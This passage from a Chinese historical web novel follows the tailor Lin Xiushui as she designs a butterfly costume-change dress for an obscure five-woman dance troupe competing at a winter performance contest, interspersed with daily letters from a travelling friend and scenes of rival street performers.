“有几年不孕想早生贵子的,我就说穿莲裙,谓之莲生贵子,有那想求个好彩头的,我说多买几样莲衣,叫作好运莲莲。 又则有遇事犹豫不决的,我就让人买顶莲花冠,莲冠里有莲花和莲藕,这在佛教为因果同时,因中有果。” 东西本就不差,又加上孙大的口才,能借助别人的东风,卖自己的东西,一日便可卖空大半。 那叫玉莲相的相士,看从自己摊子上的人,转头又去孙大那摊子,听他能说会道,尤其还会两句诗。 一对双生姐妹来买莲衣,犹豫不决,孙大说她们是并蒂莲,又念了一句守得莲开结伴游,约开莲叶上兰舟,人家欢欢喜喜买了一大堆。 玉莲相也就默允孙大蹭他的生意,而且因为这莲衣别致,也给玉莲相增添了名气。 在灵隐寺庙里,有名的诸如蒋星堂、花字青、简堂石鼓、鉴三命等,玉莲相排在后面,如今倒是因为孙大这铺子,大家找玉莲相更为方便。 是以玉莲相换到灵隐寺里地段好的位置,也不忘提孙大一把,叫他收拾收拾跟过去。 孙大摸摸后脑勺,“别人这叫一人得道,鸡犬升天,我这叫宝莲渡我,无水不成活。” 林秀水笑一声,“这叫什么话,千靠万靠,靠你自己一张嘴,你有本事,不是别人渡你。” 她对此的前景很看好,问孙大道:“是不是要到香市了?” 距离观音圣诞远的到明年的二月十九,近的已经过去了,在九月十九,西湖已经热闹过一轮了。 孙大喝一口茶,摇摇头,“还没有,过完冬至到腊月,大家想烧年香,求神拜佛,那会子才热闹,眼下多半是合姻缘的多。” 林秀水听后也不急,她确实很想靠腊月和春二月的香汛赚满池娇半年的本钱,这样明年就有更多的钱,能做其他的衣裳样式。 色织布已经织得不少,熨烫后直接能裁衣,这种厚布料,且颜色突出,没有过多花纹的,她想做斗篷,斗篷又称莲篷衣,能做得样式很多。 戴兜帽的,不带兜帽的,有花边领的,有毛边的,半身加绒锦缎的等等。 但她自己没有先做,而是将要求跟满池娇众裁缝说后,让她们自己想一想,能做出什么花样来。 谁做得好,谁的就先送到临安卖,先赚钱先分成,自打她满池娇在临安有了起色后,裁缝处里大家对她很信服。 顾娘子听闻后,说她在满池娇里跟书院考较一般,林秀水则回,这叫作命题裁衣。 一直靠她想,她今年还想要靠头发过冬御寒,不想早早地失去它。 从冬至后为期半个月,就用色织布,各个裁缝正在绞尽脑汁思索。 与此同时,林秀水到金裁缝、顾娘子、小春娥、思珍家等拜访和送节礼后,回来吃了热闹的饭,陪小荷放了大半夜炮仗。 收到了张莲荷从临安寄来的节礼,说着生意的红火,并希望她把附赠的二十两银,还给她爹娘。 同时托付一句话,今年她在临安,以后也在临安,有了立足之地,不会再回来了。 这次冬至夜,除了有些人不在身边,一切都很好。 冬至过后一日,冷得院子里结冰霜,林秀水裹住脑袋到裁缝铺里去,正碰上汪二娘带着三个小娘子风风火火过来。 “吃烧鸭了没?”林秀水跟汪二娘打趣。 汪二娘提起一个油纸包,猛点头,“吃了吃了,还给你带了只。” “哎呀,别说烧鸭了,”有个穿红袄子的小娘子跺脚,“说说烧火的,不是取暖会的事情,正经事情你不说,说什么烧鸭。” “取暖会他们也吃烧鸭,”汪二娘不服气。 林秀水打圆场,“先进屋来说吧。” 进了铺子后,大家七嘴八舌,着急忙慌说了一通。 林秀水从中拼凑出来,南瓦子要办一个取暖会,要招各种有伎艺的人上台,出头博得众彩的,赏银二十两,并且之后会给最好的台面。 这五人以小唱和歌舞为生,唱法不算很出众,在一众高手如云的地方,很难出彩,五个人就出了个主意,让林秀水给她们出出主意。 “我倒真有个主意,”林秀水看了勾肩搭背的五人一眼,“也不收你们银钱。” 五人面面相觑,汪二娘小声问,“是什么主意?还不收钱,我们只卖声不卖身的。” “别想太多,”林秀水真服了汪二娘。 她慢悠悠地说:“是台上变装。”—— 作者有话说:很感谢大家[抱抱],红包感谢 请假条会覆盖更新通知,到时候发在作者公告上。 最近精神状态不错的话,会好好更新的,不过状态欠佳的话,即使两千字写出来也是一团乱麻,所以还是抱歉,期间会看各种资料和作品,好好写的。 第94章 第 94 章 台上变装衣【下】 变装这两个字, 闻所未闻。 “上好了的妆,还能随时变的吗?”汪二娘抬抬脚,推开靠在她背上的孙阿青, “我只听过变脸,我们南瓦子有几个人老会变脸了。” “那脸阴一阵晴一阵,青一阵白一阵。” 孙阿青猛点头, “这话说得对,那几个男的心眼小得可怕。” 有些话一经汪二娘的嘴巴,能立即从桑桥渡拐到临安城里去。 五人七嘴八舌地说话,吵嚷得可怕。 这五个人是南瓦子里不起眼的小角色, 歌舞队的名字叫作五月五,前面那个五指代表五人,后面那个五则指代舞。 汪二娘是小唱兼旁舞, 身材纤瘦的李夏打头领舞,孙阿青在最左边,她手臂很灵活,舞姿一般,其余两人分别为最右边的陈姐儿,个头稍矮的齐六娘。 林秀水呼出口白气,她戴好手套说:“变装是变衣装, 不是上妆。” “怎么变?”汪二娘眼睛眨啊眨, 她抓住林秀水的手臂晃了晃, “老天, 我可真好奇,是不是就像那变戏法一样,我们南瓦子里有不少会变戏法的,叫做七圣法。” 她掰着手指头数自己看过的戏法, “有虚空挂香炉,教鱼跳刀门,还有寿果放生的,凭空能从空盒子里变出三只大寿桃,还能变出只活鸟的。阿俏,你是不是能变出一件又一件衣裳?” 林秀水倒没有说她痴心妄想,想了想后道:“你能穿得上,就能变出一件又一件,不过你暂时别想了,我做不出来。” 一句话顿时打消了汪二娘的心思。 在铺子里,林秀水让她们稍坐一会儿,掀开帘子到楼上去,挑了一条两面穿的旋裙,前面浅紫色,后面为莲红的。 又翻找出一件之前留存的长褙子,也是两面可穿的颜色,只不过她当时想在衣裳背后做改动,比如做拼色款的,也就是三色,没成功,丑得很有新意,被大家否决了。 林秀水将衣裳挑好,挂在手肘处,抱着下楼去了,面对众人的灼灼目光,她放下手里的衣裳,抓起裙子一角说:“我们还没有做其他样式的裙子,用旋裙先给你们看看。” 她捏住紫色的一整个裙片,神色正经,抖了抖,转个身,大家屏住呼吸,以为她要变戏法,瞪大眼睛,一下都不敢眨,生怕错过点东西。 结果林秀水“不负众望”,她没翻转成功。 不仅没成功,还把裙子甩飞出去了,正好被刚进来的阿云一把抢到了。 “啊,我懂了,”汪二娘拍手赞道,“原来这就叫变装啊,手里变没了。” 林秀水低头,不可思议看自己的手,原本设想的超完美变装,转个身,衣裳掉转一个颜色,让大家目瞪口呆的呢。 跟大庭广众之下放炮仗,结果放了个哑炮一样羞耻。 她放弃了这种让她无地自容地展示,老老实实地将阿云手里的衣裳拿过来,上身翻转颜色和花纹。 汪二娘后知后觉,“早说啊,我还真以为要把手里的衣裳变没呢。” 其余几人像看傻子一样看她,别人一肚子草包,她一肚子烧鸭。 “好想去衙门守大门,”林秀水如此说,汪二娘又好奇上了,“为什么?” “那样就能拿到封印,封了你的嘴。” 汪二娘很谦虚地说:“不用这么麻烦,我还没混到用官府东西的份上,目前嘴巴还是私人的。” 林秀水无言以对,她决定不再搭理汪二娘。 看了翻转衣裙变色,相反林秀水提出的扯衣变装,倒更加让几人感兴趣。 一扯一拉,变出不同的衣裳,哪怕暂时处于设想的地步,用其他的衣裙进行替代演示,也很让人遐想和信服。 孙阿青问:“这种做出来真不要钱?” 天上不会掉馅饼,只会掉陷阱。 人就是这样,太贵觉得坑人,太便宜觉得廉价,不要钱不会欣喜,只会觉得要宰人了。 林秀水把衣裳叠好说:“我当然要钱,只不过不是这个要法。” “你们要是能穿着我做的衣裳,在暖冬会上出彩,我就能打出更响亮的招牌。” 没有在她们身上要钱,但钱会以另一种方式过来。 汪二娘讪讪笑两声,“你可能要做亏本生意了。” 其余四人没反驳她的话,毕竟要是她们在南瓦子有些名气,能够博得众彩的话,也不会慌乱中听从汪二娘的提议,来找林秀水帮她们在衣裳上出出主意。 凭她们的歌舞自身的话,跳两年也是那个样子,在南瓦子里,通常都给安排最后几场,快要关门了再上。 那时打了灯笼,光影模糊,大家昏昏欲睡,也能品出点朦胧的美感。 林秀水不大相信,等金裁缝过来后,她才跟几人出门到南瓦子里去,她边走边说:“那等看完你们的歌舞和其他人的本事,我们再商量。” 台上变装,从身上原本的衣裳,在须臾之间,换成另一套不同色的衣裳,还只是林秀水的初步想法。 真的要落实下去,重点还要看汪二娘五人的歌舞水平。 到南瓦子处空置的台子处,林秀水找了个最后的位置,看几人跳舞。她看了一会儿,忍不住偏过头看其他地方,捏着下巴皱眉细思,除了跳起舞来身段柔美外,身姿摇曳外,跟南瓦子其他人而言,没有优势,属于看第一遍美,第二遍有点寡味,第三遍乏味。 林秀水称之为千篇一律的美丽。 而跟她们相对比的,是教飞禽的赵七郎,女相扑的撞山倒和提倒山,弄虫蚁演戏的秦郎中等等,就算跟同行当的歌舞相比,林秀水去南瓦子里看了好几场,有舞剑、舞砍刀的、花鼓、舞旋等等,甚至有外番来的舞娘,叫作舞番乐和靴粗舞。 她坐在台下,仔仔细细看完,转过头对上一脸忐忑的 汪二娘,伸手隔空点点眉心,“你的眉毛都快簇成八字了。” “你看了她们跳的,你不会后悔了吧,”汪二娘拍自己的腿,“我就说你之前应得太草率了。” 林秀水觉得跟鹦鹉翠花对话,也比跟汪二娘在这闲聊要好得多。 不过在其他几人看来,林秀水确实应得轻率,像根本没有深思熟虑过一般。 可对于林秀水来说,她考虑过许久,从九月在临安因为卖不出衣裳后,她就有想过,长尝试点路子和其他的法子。 做了莲花瓣裙子以及两面穿的衣物后,她也在衣裳设计里得到了不同的想法,按照以前的记忆,在这里做更大胆一点的尝试,不成功也没有什么大不了的。 只不过空有想法,之前来找她做衣裳的,基本没办法接受太过新奇的改动,做裙子离不开老三样,百迭、百褶以及旋裙。连她改宋裤放量小点,不要太过于宽大,都会有不少人跟她说,这样改动很不妥,反正她们不喜欢。 所以这次的偶然,对林秀水来说,是个突破性的机会。 面对汪二娘说她应得太过轻率的话,她否认了。 “我真的没有,”林秀水从台上的旋舞上移开目光,看着几张跟她同样年轻的脸庞,写满了忧愁和焦灼,将天蓝色风帽解下来,露出自己的笑脸说,“为什么要这么说?” “其实我觉得没特色相反是好事。” “额,是好话吗?正话反说?”李夏忍不住开口,对此言论她虽然非常赞同,可嘴巴很硬,不承认她们确实没有丝毫特点,不然也不会在南瓦子里没名气。 汪二娘倒很坦然,“确实啊,像烧鸭做得好的,大家都能叫出名字来,孙记,陈门口李家,三水桥西巷子里,我们就是那叫不出来的,统称为卖烧鸭铺子的。” “我觉得你像烧鸭,”李夏忍无可忍,一把按住汪二娘的脑袋。 汪二娘一边点头避开,一边美美承认,“谢谢,那我肯定是最好吃的那一只。” 林秀水用风帽盖住自己的脸,闷笑出声,等笑完才解释道:“没特色的话,就像我们裁缝手里的白布料子,最容易改动和出彩。” 她又说到正题上,“既然你们请我出主意,也说过对自己的身上的服饰不满意,我今日看了大家跳的舞,也坐在这看了半日别人的舞服,最大的毛病在于太淡了。” 孙阿青摸着自己细长的脸,找出身上挂着的执镜,拿起来细看,“什么叫太淡了,我今日画的妆确实不浓,胭脂没有了。” “我说的淡是指衣裳过于素净,蓝、白、青、粉,这几种颜色淡雅,穿起来会显得很雅致,尤其当我坐在你们前面时,衣物上的花纹会看起来更加精巧,”林秀水扫视几人的衣物,清一色的水蓝色。 她说:“可我坐在最后的位置上,距离你们的台子大概有两丈的距离,根本看不清衣服上的小巧思,更不会有那种一出来,立即能让我牢牢盯住不动的感觉。” “在台子上,想要夺目,那么在衣裳颜色一定得要鲜艳,越亮的颜色越好,台子不仅会吃妆,更会吃色。” 李夏辩解道:“这水蓝色,已经是最合适我们几个的颜色,衬肤色,衬妆容,又不会太难看,底下看客瞧着也舒服。我们不适合穿偏红一类的衣裳,穿上显得很暗沉。” 林秀水已经做了这么久的衣裳,形形色色的人见过不少,每个人大概适合什么颜色,心中有数。 她笃定道:“不用红的,上半身的话可以保留你们原有的水蓝色,还可以再加深点,到天蓝或是湛蓝色,下半身的裙加橙、黄、紫。” 颜色这种东西,单凭嘴巴上说,很难想象得出来,更别提衣裳样式了,哪管林秀水说得天花乱坠,大家也压根听不懂她的独特设计。隔行如隔山,林秀水完全放弃解释,她说:“等我的衣稿出来,我们再来商量吧。” 大冷天的,还是露天的台子,吹得脑袋冷嗖嗖的,林秀水揣着几人的期待离场了。 要将口头上的设想,化为真实的衣裳,跟外行人说再多也没用,还得跟同行说。 林秀水走在回程的路上,好几顶花轿从她身边路过,吹吹打打,自打跟王家租铺做生意后,卖了二十来件嫁衣后,林秀水走过路过,在街边碰见迎亲的队伍,都会看上一眼,看看是不是她做的衣裳。 不过只看到过一次,她在那间屋子前站了一会儿,那户主家还以为她是迎亲的客人,很殷勤邀请她先进屋坐坐,她也没有推辞,进去随了几百文的礼,祝福新人,吃了顿席面出来了。 事后想想,她估计那天饿了。 一路顶着风回去,到铺子时天色昏沉,冬至后天黑得更早了,她没有强留金裁缝跟她商量,叫阿云把钥匙给她,门她来关。 只是半掩着门,林秀水坐在屋里,拿起裁好的小纸,一手拿笔,构思自己的想法,把毯子往上移盖住腿,蜡烛挪过来点。 屋子里渐渐没了天光,只有点摇曳的烛光,她的笔一直没动,到底是该做扯衣变装,还是上半身不动,下半身做更多色的裙装呢? 舞动时扯衣变装有非常大的看点,能很快吸引大家的注意,要林秀水来做的话,她会将衣裳分成截然不同的两种,可以一瞬间抓住大家的目光。 可在汪二娘她们这个舞队里,根本不行,大家不会一直盯着看,而扯衣变装的看点是眨眼就变换衣裳,眨眼过去后,那么相当于包袱抛没了,戛然而止。 那么下身裙子变装,林秀水就相对而言有把握得多,她做过太多的裙子,纱裙的轻盈,罗裙的垂落感,旋裙两面的配色,莲裙突破形制的不规则感,她能结合起来,做出一条舞台上很有美感的大裙子。 完全放弃百褶、百迭、旋裙等等形制,做成转动幅度大,层层叠叠的大裙子,旋转起来弧度好看,一面接一面不同颜色,在舞动间变色的,如同开合的花瓣。 她迟迟没有动笔,任由墨迹滴落下去,她觉得还欠缺点什么,即使做出来,也是很单调的美,还不如她做的莲裙看起来有感觉。 到底缺少什么呢? 大概是在南瓦子这种地方,就傀儡这一种行当,可以做出悬丝傀儡,仗头傀儡,还能有更出众的药发傀儡,将傀儡跟火药烟火联系上。甚至可以每次烟火都有出乎人意料的新奇,哪怕是重复的,看过许许多多遍,那种等待着喷发的期待感,依旧不会减退。 换到衣裳上,为什么不可以有更大胆,更好地尝试,让人看了一次后,还想看第二次,第三次,哪怕看过很多遍,也不会觉得乏味。 她打心底认为,她还可以走出不同的路子来。 沉浸在自己的思绪里,没注意到天已经黑了,她吹灭蜡烛,收拾好东西,正出门碰上已经开始巡夜的两个潜火兵。 “林小娘子,这么晚还不回去啊,”矮个子潜火兵跟她打招呼,“我们两个看你这铺子灯火亮着,门也没关,正打算敲 门问问呢。” 另一个胖点的潜火兵也说:“要小心火烛,虽说你这里离得跟河近,可布料容易着,还是要当心得好。” “不过你放心,你们这一片我们都会查得很仔细的,”矮个子潜火兵又说,“要多谢你送的太平车呢,我们运水运得可快了,扑灭了好几场火呢。” 林秀水提着灯笼,她有点惊讶,“我送的?” 胖潜火兵笑着说:“可不是吗,你别遮着掩着了,一辆是水记,一辆是桑桥渡的。我们都在说呢,你这太平车送得可好,一是想桑桥渡太平,桑桥渡太平水记也太平。” “你放心,虽说近来逢年关不算太平,有许多匪盗,我们上心着呢,不会叫人偷盗了去的。” 林秀水心里忽而涌起难言的情绪,即使人离开,还能从别人的嘴里听见。 似乎夜里的冷风也不再凛冽。 她还在想,陈九川到哪里了呢? 答案是,刚出临安。 因为林秀水一大早,就收到了专人送来的信,附赠一个包裹。 她当时还有点纳闷,难不成张莲荷从临安又寄东西过来了?地址在临安。 慢慢拆开包裹一看,是一包蜜姜和一包干姜。 她又慢慢拆信,又合上,什么张莲荷。 是陈九川。 林秀水平复心跳,展开信件,信上写,你说竹报平安,我到明州前每一日都会报平安。 还没有出临安,到余杭郡了,这里的土贡有两样很出名,一样是蜜姜,用的是余杭紫姜,加蜂蜜腌制的,吃起来有些辣,一样是干姜,冬天阴寒,多吃点姜。 猜猜明日会到哪里? 林秀水坐在那,她想起绣竹子的时候,思珍跟她说过唐朝的一个典故。 叫作竹报平安。 说的是唐朝有位叫卫国公的,在北都太原任职,据他所说那里有座童子寺,寺里有一丛竹子,竹子在北方不易存活,是件稀罕物。寺庙的司事僧便查看竹子,每日向寺庙汇报竹子的平安。 林秀水没有想到,她没说,陈九川却懂得。 真的从临安出发起,每日到一处地方,就差那边的人送信和东西过来,报告平安,即使有延误,也辗转到她的手上。 后来她前后甚至收到两封一样的信件,因为当时地方找不到送信的,他换了两个地方寄出来的。 林秀水也从来没有这么清楚地知道,一个人的航向。 从桑青镇到临安,再经沿岸的支流,从运河一路到余姚江,经停绍兴,再到明州。 一路上的支流河,在一封封信件上,变成川字,又经流于她。 信一封封送来,一处处土贡土宜,每拆一次,都是在报平安,又是在让她以这种方式多幸。 林秀水在繁忙地设计和更改衣裳样式的这些日子里,总是能因为每日或每隔两日,不同时候收到信件和包裹,而感到由衷的,发自内心的欢喜。 来自四面八方的平安,以及期待。 其实这几日对于林秀水而言,正是她为了衣裳焦头烂额的时候,暖冬会在月底,给她出衣裳图稿的日子并不多,还要做出来。 她每一日从早想到晚,而且跟铺子里招的裁缝商量,自从之前卖嫁衣后,她招到了一个绣娘,两个裁缝。 后面又陆陆续续招了两个绣娘,一个裁缝,找不到合适的人选,最后只能退而求其次,找了五个缝补手艺比较好的缝补娘子,先帮忙缝补衣物。 这次她安排了大家一块商量。 “一定要变装吗?”绣娘李千有点费解,“我觉得可以多换几套衣裳,两面穿的旋裙换来换去,颜色变得多,其实也很不错,不需要太过于大费周章。” “不行,旋裙的放量太小了,处于比较修身的那种,跳舞放不开也不合适,”林秀水否决了,“如果非要换多套衣裳,那么也一定得是非常新奇的那种,换作寻常的形制你会有兴趣吗?” 李千哑然,她确实不大有兴趣,想看这种衣裳的话,到成衣铺去看个够,南瓦子进去要收取银钱的。 水芹倒是非常赞同林秀水,“我们说勾栏瓦舍,里面出奇人,各种能人异士,歌舞小唱当真不起眼,除非跟外面来的番人那样跳番舞。” “变装确实如果能像戏法一样,做得出其不意,变得衣裳多,优势很大。” “只不过有一点,我们得有个明确的方向,”水芹是在南瓦子里实打实混过的,比起林秀水这种外行来说,要熟悉里面的路子多。 “像演杂剧,都有一出一出的戏码,谁演什么,这一出戏唱的是什么,哪怕大家听了又听,也很愿意买账。放到歌舞在这上头太薄弱了,跳来跳去都跟一个模子里印出来的。” “与其商量如何将变装塞到她们的歌舞里,不如让她们先自己定好曲目,一定要跳这个,不然我们哪怕做好了,也不会相配的。” 林秀水有点沉默,手指轻点着桌子,她不是没有想过,她想突破框架,不用特定的主题来做衣裳。 像之前的莲花,油纸伞,或者是给猫狗穿的,把衣裳固定在一个框架里,又想要做得出彩,每一次都得花费很大的精力去完成,也有许多做出来不尽如人意的时候。 难得有没有那么限制发挥的时候,又回到了固有的东西上。 不过她涂涂改改许多次,总是觉得不对劲,想了很久,确实要有个明确的点题,暂时是框架住了也无妨,毕竟自由也四四方方,却总有笔出头。 将这个问题交回到正在旋转的汪二娘,她赶紧扔给了李夏,“这个叫烫手山芋的东西,我不爱吃。” “吃吃吃,就知道吃,”李夏气急败坏,“瞧你胖成什么样了,等会儿新做的衣裳都穿不上,我叫阿俏给你退掉。” 汪二娘斜眼看她,“哎,别冤枉人啊,我可没有偷吃,还有没有天理王法,过过嘴瘾也不行吗。” 两人斗着嘴,林秀水习以为常,坐在那里喝茶,等她们的嘴巴停下来。 等到消停后,大家终于从自己并不算出色的曲目里,扒拉了一番又一番,手舞足蹈,如同蜘蛛编织一张网。 李夏最终决定,“我们跳蝶恋花。” 蝶恋花是很有名的词牌名,林秀水一听,觉得很合适。 合适在哪里,她们的动作不干脆,手臂舞动非常柔美,跟衣裳缠缠绵绵,很能表达出缠绵悱恻的意思。 有了意象,林秀水可以做得更多了,她立即有了许许多多的想法。 做花裙她在日积月累中,相对来说很擅长,蝴蝶却还没有做过。 为了做合适的衣裳,她翻阅了很多蝶恋花的诗词,觉得最为贴切的,不是柳永出名的那句,衣带渐宽终不悔,为伊消得人憔悴。 而是晏殊的槛菊愁烟兰泣露,罗幕轻寒,燕子双飞去。 尤其是那句,欲寄彩笺兼尺素,山长水阔知何处? 她也有了更深的感触。 蝴蝶有很多纹样,全部绣满蝴蝶的纹样叫作百蝶纹,瓜、枝蔓和蝴蝶,组成了瓜蝶纹,两只蝴蝶上下缠绕则为喜相逢等等。 林秀水个人不大很喜欢整只蝴蝶做成衣裳,她更喜欢蝴蝶翅膀,蝴蝶越虚假越梦幻越好看,越真实越让人害怕。 她很想将翅膀单拎出来,做成翅膀背饰,可以背在身后,但是苦于没有合适的铁丝,能够尽情地弯折,又与柔软的舞姿并不合适。 放弃的话很可惜,林秀水翻着厚厚的纹样嘀咕,“怎么能不用铁丝或者竹架,把翅膀做出来呢。” 她苦思冥想,花裙已经定下来了,她找人在做了,蝴蝶却始终没有着落。 一张又一张的蝴蝶翅膀跃然纸上,她画了很详细的轮廓,有青绿纹样的,有粉蓝色圆弧状的,翅膀尾部细长,有开合的,有并拢的,可苦于不能落实到衣物上。 王月兰都说她走火入魔了,问她想吃什么,林秀水张口来了句,“蝴蝶。” “你想吃我倒是不拦着,”王月兰摊开手,“这大冬天的,上哪给你找一只蝴蝶去。” “让小荷给你变一只吧。” 小荷今日穿着红色的大袖衫,她很眼馋大袖衫,袖子 甩起来的时候,她觉得跟仙子一样。 可是市面上很少有给小孩出大袖衫的,基本都是直筒袖或者窄袖,她数次央求林秀水给她做一件。 此时听到王月兰的话,小荷赶紧站起来,她知道蝴蝶是怎么飞的,松松垮垮穿着大袖衫,上下挥舞翅膀,围绕林秀水旋转。 “阿姐,你看我像不像蝴蝶?” 林秀水本来嫌她烦的,想不出来已经很糟心了,还有个大变蝴蝶的小屁孩,简直给她添堵。 瞟了一眼,林秀水愣住了,喃喃自语 :“像,可真像。” “小荷,你再动动你的胳膊,动作大一点。” 小荷很卖力地挥动手臂,大袖衫一起一伏,舞动间在林秀水的眼里,变成了蝴蝶挥舞的翅膀。 她满脸欣喜若狂,抓着小荷的手说:“好蝴蝶,辛苦你了,你飞去玩吧。” 说完,头也不回走进了自己的屋子满脑子都是,原来还可以这样,大袖可以变成蝴蝶翅膀。 她自言自语,“大袖有两只,蝴蝶翅膀分开也刚好是两只,怎么不算是命中注定。” 王月兰趴在门口,听到这句话,心里咯噔一声,“完了,都被蝴蝶给带偏了,说起胡话来了。” 林秀水清醒地很,她已经沉浸在自己的艺术里无法自拔。 一夜没睡,越想越激动,画出一张对她来说接近于完美的衣物样稿,既符合她想要的变装又相当契合蝴蝶,还满足蝶恋花的意象。 甚至都没有给大家看,她想保留这份惊艳,相当积极地挑选各种料子,瞒着大家开始裁剪,缝合,大冷天的,她也不觉得冷了,感觉一切都春暖花开,僵硬的手指也开始万物复苏。 她的衣裳制作中,蝴蝶有两套衣裳,一套平庸,一套华丽,扯下普通的那套,露出里面华丽的蝴蝶服饰,完成了一场蜕变,羽化成蝶。 蝶恋花通常表述为男女缠绵爱情故事,她却认为,歌舞叙述中,迷恋和不舍、痛苦可以转化成另一种形式的蜕变。 这套衣裳,在成稿时便很突出,袖子变成蝴蝶飞舞蹁跹的翅膀,做出来后,当它面世,成了林秀水的成名作之一。 林秀水也为这件衣裳,花费了很大的心思,策划了一出很精彩的舞台。 没有人能忘记,那是多么难忘的一日,甚至出演的五人,得到了永远的蜕变,不再籍籍无名。 这一切,都在十一月底的暖冬会开始时—— 作者有话说:感谢追更,红包[比心] 第95章 第 95 章 成名的开始 桑青镇每年最火热的便是暖冬会, 富贵人家、文人雅士都会在家里举办暖冬宴席,邀请一众亲朋友人。 其中以南瓦子和金银巷的北瓦子最为出名,外台大场五百人席的票价从十一月初, 冬至节开始的两百文,炒到如今七八百文一个席位。 内阁包间的价从未跌下来过,二两白银起, 上不封顶。 南瓦子也到处张贴招子,旗牌、纸榜、帐额,上面写着一排大字,讲史小张四郎在此作场暖冬会, 北瓦子就用红色大幅字帖张贴在过道上,众人称之为绯帖,只见写了药发傀儡戏小掉刀于今日起, 酉时演场,过时不候。 请了各处的名角来镇场子,南瓦子和北瓦子打擂台,这边请了出名的杂戏宋真努,那边就请临安来的杂剧达眼五,到处请人,一日作乐到月上柳梢头。 百姓喜闻乐见, 时常揣着三五十文钱, 到瓦舍勾栏里听各式的说书小唱, 或是看蹴鞠会、走绳索取乐度寒。 南瓦子不想老是被北瓦子压一头, 又在紧锣密鼓挑选新的技艺,力求能博得众彩。 半个多月过去,南瓦子在团圆阁举办了入选暖冬会的比赛,各路高手云集。 十来个评比人坐在中间, 前面只有帘幕的戏台,很空旷,背后则为聚集众人,换衣打扮的戏房,此时有三五十人,戴着各色装扮,等屋外叫场,随时上去。 平日里越出众的,赢得叫好声越多的,排在最前面,至于汪二娘她们没有任何名气的五人舞,排最后一场,还要从早等到晚,错过就没戏了。 反正没人看好她们,就当充个人数,过后刷下去便成,在南瓦子这种小江湖里,不拼刀枪剑戟,实打实拿技艺来说话的。 林秀水坐在这阴暗潮冷的戏房里,环顾一圈,各种奇装异服,跺了跺发麻的脚,终于听屋外有人喊:“第一场,小藏掖陈二郎。” 她跟汪二娘几人说了句,从右侧绕出去,到看台后面观赏,看看前面大家的本事。 第一场藏掖是手法魔术的一种,从南到北,几十年经久不衰,每次看客云集。 林秀水找个地方坐下来,此时看台坐着五六十人,她扫视一圈,又将目光挪到戏台上,只见这第一场的张二郎,什么也没带,一个人站在台上,拍了拍身上,请人查验有没有装东西。 之后便见张二郎退后一步,面朝众人,摊开手,再攥紧,一挥手,一只白色小鸟从他手心里钻出来,扑腾着翅膀往远处飞去。 林秀水几乎不错眼地盯着,在众目睽睽之下,穿着紧身窄袖,都不知道如何变出来,只听一场哗然,大家全欢呼叫好,“再来一场。” 张二郎不慌不忙,拿了个空竹筒来,倒扣过来抖上三抖,再将空荡荡的竹筒口对准众人,里头什么也没有,蒙上一块布,放在地上,打了个响指,噗嗤几声,便见竹筒里刺刺拉拉冒出烟火来。 惊得众人瞪大眼睛,后面又从布里变出小伞来,以及在两三人站他旁边,空碗里多出带水的金鱼等等。 技术精湛,毫无破绽,实打实的能人异士,林秀水以为这便很惊人了,后面上来一群杂技,叫作《永团圆》。 将一根粗绳子绑在两边柱子上,人轻飘飘翻到上去,走两步空翻一个跟斗,翻完依旧牢牢踩在上面,底下有人甩瓶子和碗上来,他一边踢瓶子,一边顶碗。 大家伙揪着心,踮脚细瞧,随着碗扔上去的越来越多,有七八口,人走得摇摇晃晃,好多人私下地嘀咕,“怕是要糟了,等会儿碗砸一地。” 结果到了第九口碗,脚下动作依旧,头顶丝毫不乱地走完了这根绳索。 连林秀水都忍不住叫喊出声,跟着大家往台上投钱,实在精彩绝伦,期间她连大气都不敢喘。 大家各出奇招,弄虫蚁让九只龟叠在背上的,或是女子武术,飞檐走壁,轻巧来回于四根檐柱之间,充满力量的同时,又兼具美感。 或是在大鼓和手掌大的小鼓间,来回舞动,脚步翩跹,歌声一绝,大家无不沉浸于其间,等到结束后,才发出叫好声。 林秀水心里也没有底,她虽然自觉不输于众人,却也深知其他人的表演更加夺目。 很让人沮丧的是,汪二娘她们排在最后一场,但在倒数第八场时,十八个名额已经没有了。 看台报幕的人过来,掀开帘子问:“没有人选了,你们还要不要上?” 戏房里剩下的二十几个人气恼,弄影戏的男子干脆抱起东西来,大喊一声,“我不上了!”“谁爱上谁上去,老子不干了。” 说书的姐妹二人在那抹眼泪,哭得稀里哗啦,一直哭到她们开场,滑稽戏的三人组则自嘲道:“嘿,演滑稽戏多了,自个儿倒是滑稽上了。” “可不是,还不如鸡好吃呢。” 里面乱成一团糟了,又哭又闹的,汪二娘几人倒是沉默着,已经没有名额了啊。 她慢慢抬起头,看向没有说话的林秀水,欲言又止,这么多日子来,为了这个舞台,昼夜不歇,请了十几人一块过来帮忙,调整衣物和效果,一遍遍跳,一遍遍改。 结果还没登台,却连机会也没有了。 “我们,”汪二娘舔舔嘴唇,声音干涩,低头看自己的脚背,“是不是有点太没用了?” 李夏捂住脸,泪水从手指间渗出, 垂头丧气,“真的白费你这么多心思。” “怎么就不争气呢,”孙阿青狠狠跺脚,明明在此,她们无比憧憬着,就算不能在台上一鸣惊人,至少也能比从前要争气一点。 结果就是,花费了许多努力,一夜只睡一两个时辰,其余时间都在练歌舞,力求对得起自己,也对得起林秀水来回奔波,忙到大半夜,干脆跟她们挤一挤,不回去,第二日早上还有雾气,就起来看她们跟衣裳再磨合得好一点,将变装做到更加极致。 可是这一切,连等到登台的机会都没有。 大家沉浸在一种无法摆脱的痛苦和自责里,她们想退缩。 林秀水却拉住几人的手,她说:“不可以。” “走了就再也不有可能。” 她一个个拉起沮丧的大家,“哪怕没有选上,那又怎么样,至少我们对得住自己了。” 真正的勇气,是知道没有希望,也能站到台上,完成一切,重新选择路线出发。 而不是退缩着往后,不做任何挣扎的放弃,在无数个日夜中后悔。 “上台,”林秀水站在出口,她的语气坚决,“我们先把这条路走完,再想后路如何走。” 屋子里剩余的人,已经觉得无望,三三两两离开,或是上台草草演完,悲愤离场,此时只剩下她们还站在屋子里。 汪二娘也起了股斗志,抹一把眼泪,梗着脖子说:“走,伸头也是一刀,缩头也是一刀,谁不上谁是孬种。” “走,我才不是孬种。” “我也不是!我不害怕!” “我也是,我们最后也有底气和脸面,”李夏说。 大家欺骗自己,一遍遍重复,“我可以。”林秀水掀开帘子,告诉报幕人,“我们上台。” 报幕人一脸惊诧,他都要将她们的名字划掉,跟台下的看客和评比人说,今日比赛到此为止。 “真的要上?”他重复一遍,“我们真的没有名额可以上了,前面全定下了。” “我们知道,”五人异口同声,“还是要上。” 他也不好阻拦,此时天色渐渐暗淡下来,冬日的天气总是如此差劲。 